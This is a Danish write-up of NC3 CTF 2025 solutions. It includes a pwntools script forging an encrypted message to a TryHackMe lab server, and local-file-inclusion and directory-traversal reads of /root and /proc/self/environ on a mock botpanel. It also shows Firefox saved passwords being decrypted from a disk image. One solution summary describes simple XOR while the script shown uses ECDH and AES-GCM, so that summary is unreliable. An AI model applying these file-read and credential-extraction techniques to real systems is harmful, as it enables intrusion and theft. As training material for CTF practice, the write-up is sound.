Ved at søge på site:online "nc3" fandt jeg hurtigt en side, der havde flaget. https://www.google.com/search?q=site%253Aonline+%22nc3%22

Flag side

Skud ud til Google for at indeksere siden! 😭

Flag: NC3{st34l1ng_y0ur_n3ct4r}


Ønskomafia

Bob vil gerne spille Mario Kart med Alice, men han må ikke få det for sin mor, så det kræver, at Alice ønsker sig spillet i julegave. Dog har Alice andre ønsker. Heldigvis er Bob en rigtig hackerman med speciale i crypto og hjælper gerne Alice på bedre tanker.

https://tryhackme.com/jr/oenskomafia

Vedhæftet fil: crypto_oenskomafia.zip

Løsning: Efter at have analyseret den givne kode fandt jeg ud af, at den bruger en simpel XOR kryptering med en gentagen nøgle. Ved at skrive et script til at dekryptere den givne ciphertext med den kendte nøgle, kunne jeg få fat i flaget.

Løsning: Vi benytter os igen af denne magiske nisse magi, aka CryptoGPT :)

#!/usr/bin/env python3
import json, os
from pathlib import Path
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from thrift.protocol.TCompactProtocol import TCompactProtocol
from thrift.transport.TTransport import TMemoryBuffer
from thrift.Thrift import TType
from pwn import remote

def thrift_encode_int(n: int) -> bytes:
    buf = TMemoryBuffer()
    proto = TCompactProtocol(buf)
    proto.writeStructBegin("N")
    proto.writeFieldBegin("v", TType.I32, 1)
    proto.writeI32(n)
    proto.writeFieldEnd()
    proto.writeFieldStop()
    proto.writeStructEnd()
    return buf.getvalue()

def derive_aes_key(shared_secret: bytes, salt: bytes) -> bytes:
    hkdf = HKDF(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        info=None,           # svarer til serverens brug
    )
    return hkdf.derive(shared_secret)

def aesgcm_encrypt(key: bytes, plaintext: bytes, aad: bytes) -> bytes:
    aesgcm = AESGCM(key)

    # same nonce-style som clienten
    counter_file = Path("nonce_local_to_julemanden.txt")
    try:
        counter = int(counter_file.read_text())
    except Exception:
        counter = 1
    counter_file.write_text(str(counter + 1))

    encoded_counter = thrift_encode_int(counter)
    counter_bytes = encoded_counter.ljust(8, b"\x00")[:8]
    random_tail = os.urandom(4)
    nonce = counter_bytes + random_tail

    ct_and_tag = aesgcm.encrypt(nonce, plaintext, aad)
    return nonce + ct_and_tag

def build_alice_message(wish: str) -> bytes:
    group_key = serialization.load_pem_private_key(
        Path("keys/group_key.pem").read_bytes(),
        password=None
    )
    alice_public_key = serialization.load_pem_public_key(
        Path("keys/alice_public_key.pem").read_bytes()
    )

    alice_shared = group_key.exchange(alice_public_key)

    GroupID = 4
    AliceID = 2

    aad_struct = {"to_": GroupID, "from_": AliceID}
    aad = json.dumps(aad_struct, separators=(',', ':')).encode()
    aad_len_bytes = len(aad).to_bytes(2, "big")

    salt = os.urandom(16)
    key = derive_aes_key(alice_shared, salt)

    encrypted = aesgcm_encrypt(key, wish.encode(), aad)
    return aad_len_bytes + aad + salt + encrypted

def pwn(host="127.0.0.1", port=1337):
    msg = build_alice_message("Mario Kart")
    with remote(host, port) as io:
        print(io.recvline().decode().strip())  # velkomst
        io.sendlineafter(b"> ", msg.hex().encode())
        while True:
            try:
                line = io.recvline(timeout=1)
            except EOFError:
                break
            if not line:
                break
            print(line.decode().strip())

if __name__ == "__main__":
    pwn("10.81.138.155") # IP fra TryHackMe

Kør scriptet:

python3 exploit.py
[+] Opening connection to 10.81.138.155 on port 1337: Done
🎅 Velkommen til Julemandens ønskeservice!
NC3{Cust0m_pr0t0c0ls_4r3_gr34t!}
[*] Closed connection to 10.81.138.155 port 1337

Flag: NC3{Cust0m_pr0t0c0ls_4r3_gr34t!}


Julekortet

Jeg har fået sådan et smart e-julekort af mit barnebarn, men jeg tror han nisser rundt med mig, fordi jeg ikke er så teknisk. Jeg kan altså ikke finde ud af, hvad der står i, og hvor det bliver skrevet, kan du ikke hjælpe en gammel nisse lidt?

Vedhæftet fil: rev_julekortet.zip

Løsning: Efter at have åbnet binaryen i Ghidra fandt jeg hurtigt ud af, at den dekrypterer en kodet streng med XOR. Ved at skrive et simpelt script til at dekryptere strengen fandt jeg flaget. De crypterede data lå hardcoded i .rdata sektionen. Bytesne kan findes fra: 0x46DE54 til 0x46DE7F. Vi finder også nøglen 0x80.

enc = [
    0xce, 0xc3, 0xb3, 0xfb, 0xca, 0xf5, 0xec, 0xe5,
    0xeb, 0xef, 0xf2, 0xf4, 0xdf, 0xe9, 0xdf, 0xee,
    0xe1, 0xe2, 0xef, 0xe5, 0xee, 0xf3, 0xdf, 0xf0,
    0xef, 0xf3, 0xf4, 0xeb, 0xe1, 0xf3, 0xf3, 0xe5,
    0xfd
]

decoded = ''.join(chr(b ^ 0x80) for b in enc)
print(decoded)

Flag: NC3{Julekort_i_naboens_postkasse}


Ace0fbase

Vigtignissen er på spil igen, han har en teori om at kryptering er unødvendigt, så længe man encoder godt nok - og så behøver man ikke engang besværet med nøgler: win-win.

Vedhæftet fil: warmup_ace0fbase.zip

Løsning: Vi får udleveret en kæmpe base64 encoded string i filen ace0fbase.txt. Efter at have decoded strengen 22 gange med base64, 1 gang med b32, 1 gang med b16, 1 gang med b85 og til sidst a85, får vi 硎𠄳腡扬𓁵洭橀戳扒核敬籮氭戰杕𠌡. Dette ligner jo bare nogle underlige tejn. Men hvis man kender til Base65536 kan man hurtigt se at den sidste del af opgaven er at decode med Base65536.

Dette kan gøres med Python pakken base65536:

import base65536 #pip install base65536
payload = "硎𠄳腡扬𓁵洭橀戳扒核敬籮氭戰杕𠌡"
print(base65536.decode(payload))
b'NC3{aLhl-ur-8@53-R-83l0nG-70-U2!}'

Flag: NC3{aLhl-ur-8@53-R-83l0nG-70-U2!}


Minos 5: Panel

Analysen af Jon BitNisses PC har ledt os på sporet af Sarpedons botpanel, hvor alle deres bots leverer stjålne data og kan modtage nye tasks mm. Med forskellige keywords fra sagen, er det lykkedes os at bruteforce passwordet til panelet: EenyMeenyMinosMoe

Log ind på http://<IP>:31742 (den kan godt være lidt sløv i opstarten) og undersøg, om du kan finde måder at læse mere end tiltænkt. Flaget ligger i /root.

OBS: Hele anden del af Minos-serien kan løses fuldstændig uafhængigt af den første.

OBS: Som i det virkelige liv kan du sagtens komme til at ødelægge ting, hvis du ikke er forsigtig. Hvis du ikke kan rette op igen, kan maskinen (modsat i virkeligheden) bare termineres og startes igen på TryHackMe.

https://tryhackme.com/jr/minos

Løsning: Efter at have logget ind på Minos botpanelet med de givne credentials, fandt jeg hurtigt en sårbarhed i panelets konfigurations side, der tillod mig at læse filer på serveren via en LFI (Local File Inclusion) sårbarhed. Ved at udnytte denne sårbarhed kunne jeg læse /root/flag.txt

...
exportdir: /root
...

Flag side

Ved at downloade flag.txt filen fik jeg fat i flaget.

Flag: NC3{m4yb3_th3_p4n3l_1s_4_l1ttl3_t00_c0nfigurable}


Minos 7: Takedown

Tid til at få K-Pop Gremlin Hunters på banen, it’s takedown time.

Gad vide om backenden gemmer på en selvdestruktionsmetode til nødsituationer, vi kan udnytte, der ikke er eksponeret i panelet. Hmm… håber ikke dine reversing skills er for rustne.

https://tryhackme.com/jr/minos

Løsning: Ved at udnytte vores LFI fra Minos 5: Panel opgaven, kunne vi læse den binære fil /usr/local/minos/bin/minos fra serveren. Efter at have loadet filen ind i Binary Ninja, søgte jeg rundt efter api kald, og fandt efter lidt tid et endpoint: api/v2/private/secret/op-endgame/takedown. Men lige meget hvad jeg POSTede til dette endpoint fik jeg bare en fejl. Så jeg søgte videre i koden, og fandt dette meget interessante stykke kode:

004c2208      "ent src/api/handlers.rs:937event src/api/handlers.rs:932confirmInvalid confirmationFailed to delete bots: Failed to delete tasks: 4f41307f7532693b65557f38663d6b20667c4c207b72486b2a686d2f6f416b1"

Binary Ninja

Hvorfor mon hardcode en hex streng her, når det står sammen med et task id? Lige nedenunder fandt jeg en masse html kode der brugte denne hex streng, til at vise en success besked når du har bekræftet takedown, med beskeden: Panel Destroyed.

I html koden fandt jeg også en javascript funktion der dekodede denne hex streng til ascii:

xor kode

Koden så sådan her ud:

function decodeFlag(encodedHex, key) {
        const bytes = [];
        for (let i = 0; i < encodedHex.length; i += 2) {
                bytes.push(
                        parseInt(encodedHex.substr(i, 2), 16) ^
                        (((i / 2) + 1) % 256)
                );
        }
        return bytes.map(b => String.fromCharCode(b)).join('');
}

Hent hele html filen her: minos_takedown.html

Ved at replikere denne funktion i Python, kunne jeg nemt dekode hex strengen:

hex_str = "4f41307f7532693b65557f38663d6b20667c4c207b72486b2a686d2f6f416b144a47135216545a"
 
out = []
for i in range(0, len(hex_str), 2):
    b = int(hex_str[i:i+2], 16)
    key = ((i // 2) + 1) % 256
    out.append(b ^ key)
 
print(bytes(out).decode(errors="replace"))

Kør scriptet:

python3 solve.py
NC3{p4n3l_t4k3d0wn_4nd_s3rv3r_t4ke0v3r}

Flag: NC3{p4n3l_t4k3d0wn_4nd_s3rv3r_t4ke0v3r}


Minos 6: Server

Er der mon måder at komme videre ind på den bagvedliggende server og ligefrem køre commands og overtage den?

Hvis du når ind, kan du jo lige tjekke miljøet ud og se, om der er god julestemning.

https://tryhackme.com/jr/minos

Løsning: Ved at kigge nærmere på den måde Minos botpanelet håndterer fil downloads, fandt jeg en directory traversal sårbarhed i download api endpointet. Ved at udnytte denne sårbarhed kunne jeg læse følsomme filer på serveren, herunder /proc/self/environ. Denne fil indeholder miljøvariablerne for den kørende proces, jeg fandt variablen MINOS_FLAG, som var flaget til denne opgave.

network traffic

echo UEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4ASE9TVE5BTUU9NTVjNzYzZTRmZTY5AFJVU1RfTE9HPWluZm8ATUlOT1NfRkxBRz1OQzN7aDB3X2QxZF95MHVfcnVuX2MwbW00bmRzXzBuX215X3MzcnYzcj8/P30ASE9NRT0vcm9vdAA= | base64 -d
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=55c763e4fe69RUST_LOG=infoMINOS_FLAG=NC3{h0w_d1d_y0u_run_c0mm4nds_0n_my_s3rv3r???}HOME=/root

Flag: NC3{h0w_d1d_y0u_run_c0mm4nds_0n_my_s3rv3r???}


Minos 4: Infostealer

Du er nået til sidste led i angrebskæden: Infostealeren. Den er blevet loadet og eksekveret på Joes computer, og det er sandsynlig, han har fået stjålet information.

Find ud af, hvordan malwaren virker og kommunikerer med C2-serveren og tjek, hvad Joe har fået stjålet!

OBS: Bruger samme filer som Minos 1: Initial Access.

Løsning: Efter at have analyseret disk imaget, finder jeg Joe’s Firefox profil mappe, som indeholder 3 profiler. Her kan vi bruge samme metode som i Nissrensics: Ræv og Nøgler til at dekryptere de gemte passwords i Firefox.

Firefox profiles

Men efter at have brugt programmet firefox_decrypt til at dekryptere de gemte passwords, fandt jeg ikke noget da flere af profilerne ikke havde passwords gemt. Men efter at have kigget nærmere i profilmappen 6qu8fy1k.default-release-1 fandt jeg filen logins-backup.json som indeholdte gemte logins. Ved at rename filen til logins.json kunne jeg nu bruge firefox_decrypt til at dekryptere de gemte passwords.

python3 firefox_decrypt.py
2025-12-06 01:35:55,000 - WARNING - Running with unsupported encoding 'locale': cp1252 - Things are likely to fail from here onwards
Select the Mozilla profile you wish to decrypt
1 -> Profiles/6qu8fy1k.default-release-1
2 -> Profiles/4xdes0gv.default
3 -> Profiles/338c0rlu.default-release
1

Website:   moz-extension://77737e58-b162-4ed6-8f12-788b5fe3230d
Username: ''
Password: 'NC3{puha_g0dt_du_kun_m1st3d3_crypt0_0g_1kk3_R1GT1G3_p3ng3}'

Flag: NC3{puha_g0dt_du_kun_m1st3d3_crypt0_0g_1kk3_R1GT1G3_p3ng3}


Humlebiens Flugt 🐝🐝🐝 (3)

Flot arbejde med at genskabe resten af domænelisten, vi har overtaget disse domæner nu!

Vi har dog stadig et problem: De domæner, vi har set brugt af Humlebi, er dem, de allerede har kontrollen med, og vi kender kun de domæner, der kommer efter det tidligste af disse. Hvis de genaktiverer en C2-server på det tidligste i listen, får de igen al bottrafikken.

Fra analysen i foregående opgave ved vi, hvilket af de tre domæner, der står først i DGAens liste. Vi har dog tidligere set, at aktøren af ukendte årsager altid skipper det første domæne, DGAen genererer. Hvis vi overtager og sinkholer dette, vil al bottrafikken permanent nå os i stedet for Humlebi, og vi kan redde ofrene!

Kan du uden et kendt seed finde en måde at backtracke fra det tidligste af de kendte domæner og finde det domæne, DGAen genererer lige før dette?

OBS: Denne backtracking vil lede til flere mulige kandidater, det vil være tydeligt, hvilken der er korrekt.

Flaget findes som i de foregående opgaver ved at tilgå hjemmesiden på det aktive domæne.

Løsning: Igen, hvorfor implementere DGA algoritmen selv, og rev Go binary? Når man bare kan google sig til flaget? :)

Flag side

Flag: NC3{s1nkh0l3_4c71v4t3d}


Opgaver holdet ikke nåede at løse

Challenge Kategori
Porten til Julevibes Reversing
Nissrensics: Forkromet Mellemgasfordeler Forensics
Nissrensics: Lykke(h)julet Forensics
Minos 2: Stager Malware
Minos 3: Loader Malware

Og ja. Minos opgaverne blev løst i den rækkefølge der vises her. 😄

Skud ud til NC3-holdet for nogle super fede challenges! Tak for en super fed NC3 CTF 2025! God jul og godt nytår til alle nisser derude! 🎅🎄